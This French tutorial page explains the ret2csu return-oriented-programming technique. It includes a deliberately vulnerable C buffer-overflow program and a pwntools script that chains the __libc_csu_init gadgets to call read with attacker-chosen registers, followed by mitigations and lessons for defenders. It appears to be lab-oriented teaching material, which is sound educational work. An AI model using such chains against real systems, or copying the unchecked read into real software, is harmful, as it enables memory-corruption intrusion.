Aller au contenu

ret2csu : emprunter le gadget universel du runtime

Pas de gadget pop rdx ? Le code de démarrage du runtime C a une séquence universelle qui charge plusieurs registres et fait un appel contrôlé. Construisez-la avec pwntools.

Publié le 5 min de lecture

Ceci est le neuvième tutoriel de la section Techniques d'exploitation. Le guide SROP répondait à « pas assez de gadgets » par un cadre de signal forgé. ret2csu répond au même problème autrement : il emprunte un gadget universel que le runtime C lie dans presque tous les binaires, vous permettant de charger plusieurs registres et de faire un appel contrôlé même quand un simple pop rdx est introuvable.

Votre propre binaire, labo jetable. Voir les règles du labo.

Le problème : pas de pop rdx

Vous voulez appeler read(0, writable_addr, count) ou execve(path, argv, envp), qui nécessitent que rdx soit défini. Mais :

$ ROPgadget --binary vuln | grep 'pop rdx ; ret'
(rien)

pop rdi ; ret et pop rsi ; ret existent ; pop rdx non. C'est extrêmement courant. ret2csu comble le manque.

Le gadget universel

La fonction classique du runtime C __libc_csu_init (présente dans la plupart des binaires non-PIE et des anciens binaires liés dynamiquement) se termine par deux séquences réutilisables. La première dépile six registres :

; Gadget 1 — dépile les registres préservés par l'appelé
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

La seconde les déplace dans les registres d'arguments et fait un appel indirect :

; Gadget 2 — définit les args depuis les registres dépilés, puis appelle
mov rdx, r15
mov rsi, r14
mov edi, r13d          ; NOTE : 32 bits — seulement les 32 bits de poids faible de rdi
call qword [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <boucle en arrière>
; ... restaurations de registres ... 
ret

Ainsi, en choisissant ce que le Gadget 1 dépile, nous contrôlons l'appel :

Registre (dépilé)AlimenteDevient
r15mov rdx, r15rdx (3e arg)
r14mov rsi, r14rsi (2e arg)
r13mov edi, r13d32 bits de poids faible de rdi (1er arg)
r12, rbxcall [r12 + rbx*8]le pointeur de fonction à appeler
rbpcmp rbp, rbxcontrôle de boucle (réglé pour qu'elle sorte)

Mettez rbx = 0 et rbp = 1 : après que add rbx, 1 fait rbx = 1, le cmp rbp, rbx correspond et la boucle sort proprement au lieu de rappeler. Placez un pointeur vers une entrée GOT dans r12 (pour que [r12+0] contienne une adresse de fonction résolue), et le Gadget 2 appelle cette fonction avec nos rdx, rsi et rdi (32 bits de poids faible) choisis.

La cible et la chaîne

/* vuln.c — débordement, mais peu de gadgets ; CRT classique présent. */
#include <unistd.h>
int main(void){ char b[64]; read(0,b,512); return 0; }
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

pwntools localise les deux gadgets csu et empaquette le cadre ; comprendre la disposition est ce qui vous permet de déboguer quand il n'y arrive pas :

# ret2csu.py — utilise ret2csu pour appeler read(0, bss, 8) avec un rdx contrôlé
from pwn import *

context.binary = elf = ELF("./vuln")
rop = ROP(elf)

# pwntools peut souvent construire l'appel directement avec csu :
rop.call(elf.plt["read"], [0, elf.bss(0x200), 8])   # rdi=0, rsi=bss, rdx=8
info(rop.dump())

payload = flat({72: rop.chain()})
io = process("./vuln")
io.send(payload)

Si vous la construisez à la main, la pile est : adresse du Gadget 1, puis les six valeurs dépilées (rbx=0, rbp=1, r12=&read@got, r13=rdi, r14=rsi, r15=rdx), puis l'adresse du Gadget 2. Comme edi n'est que sur 32 bits, les valeurs de rdi au-delà de 4 Go ne peuvent pas être définies ainsi — une vraie limitation que vous contournez (p. ex. utilisez-la pour le read qui prépare une chaîne plus propre, puis pivotez).

Quand __libc_csu_init a disparu

Les chaînes d'outils plus récentes ont supprimé la fonction classique, si bien que les gadgets peuvent ne pas exister. Les solutions de repli standard :

  • Des gadgets dans __libc_start_main ou d'autres objets CRT qui déplacent par hasard des valeurs dans rdx.
  • ret2dlresolve — abuser des structures de résolution paresseuse de l'éditeur de liens dynamique pour résoudre et appeler system par son nom, en évitant complètement de devoir fuiter la libc.
  • SROP — définir tous les registres via un cadre de signal.

Le rop.call(...) de pwntools qui lève une exception parce qu'il ne peut pas satisfaire un argument est votre signal que ce binaire a besoin de l'une de ces solutions à la place.

Réactiver les mitigations

ret2csu n'est « qu'une » technique ROP pour la mise en place des registres, donc les mitigations qui comptent sont les habituelles pour le détournement lui-même :

MitigationEffet
Canari de pileArrête l'écrasement qui amorce la chaîne
PIE + ASLRRandomise les adresses du gadget csu et de la GOT ; nécessite une fuite
Full RELROL'entrée GOT pointée par r12 reste lisible (RELRO la rend seulement en lecture seule), donc ret2csu peut toujours appeler à travers — mais RELRO bloque son écrasement
Pile fantôme / CETAvorte les retours qui pilotent la chaîne

Il n'existe pas de mitigation spécifique à ret2csu, car il exploite du code de runtime légitime, pas un bug. Il disparaît seulement quand la chaîne d'outils cesse d'émettre le gadget.

Ce que cela enseigne à un défenseur

  • Les gadgets de registres d'arguments sont partout, y compris dans du code que vous n'avez pas écrit. Le runtime C lié dans votre binaire fait partie de la surface d'attaque. Les compilations épurées, statiquement minimales, exposent moins de telles séquences.
  • RELRO et ret2csu sont orthogonaux. RELRO arrête l'écriture de la GOT (écrasement de la GOT) ; ret2csu la lit et appelle à travers. Activer RELRO ne touche pas à cette technique — un autre rappel que les mitigations sont ciblées.
  • La défense de fond reste la même : briser le détournement (canari), cacher les adresses (PIE + aucune fuite), et imposer l'intégrité de l'arête arrière (pile fantôme). ret2csu, SROP et le ROP simple meurent tous à ces points d'étranglement.

Points clés

  • ret2csu emprunte deux séquences dans __libc_csu_init pour charger rdx/rsi/rdi (poids faible) et faire un appel contrôlé — le correctif standard pour un pop rdx manquant.
  • Mettez rbx=0, rbp=1 pour sortir de la boucle, et pointez r12 vers une entrée GOT contenant la fonction à appeler.
  • mov edi, r13d est sur 32 bits, donc rdi est limité à 32 bits par cette voie — contournez-le.
  • Les chaînes d'outils modernes peuvent omettre le gadget ; ret2dlresolve et SROP sont les solutions de repli. Pas de bug signifie pas de mitigation dédiée — seules les défenses habituelles contre le détournement s'appliquent.

Ensuite : pivot de pile, pour quand le débordement vous laisse trop peu de place pour contenir la chaîne.

Guides associés

0x7000 · Techniques d'exploitation

Stack pivoting : relocaliser la chaîne ROP

Quand le débordement dépasse à peine l'adresse de retour, déplacez rsp vers un tampon maîtrisé et exécutez-y la vraie chaîne. Tutoriel pwntools.

0x7000 · Techniques d'exploitation

Construire une chaîne ROP pas à pas

Avec NX, le shellcode injecté est mort : on réutilise le code existant. Trouver des gadgets, bâtir une chaîne execve avec pwntools, puis voir CET et CFI la casser.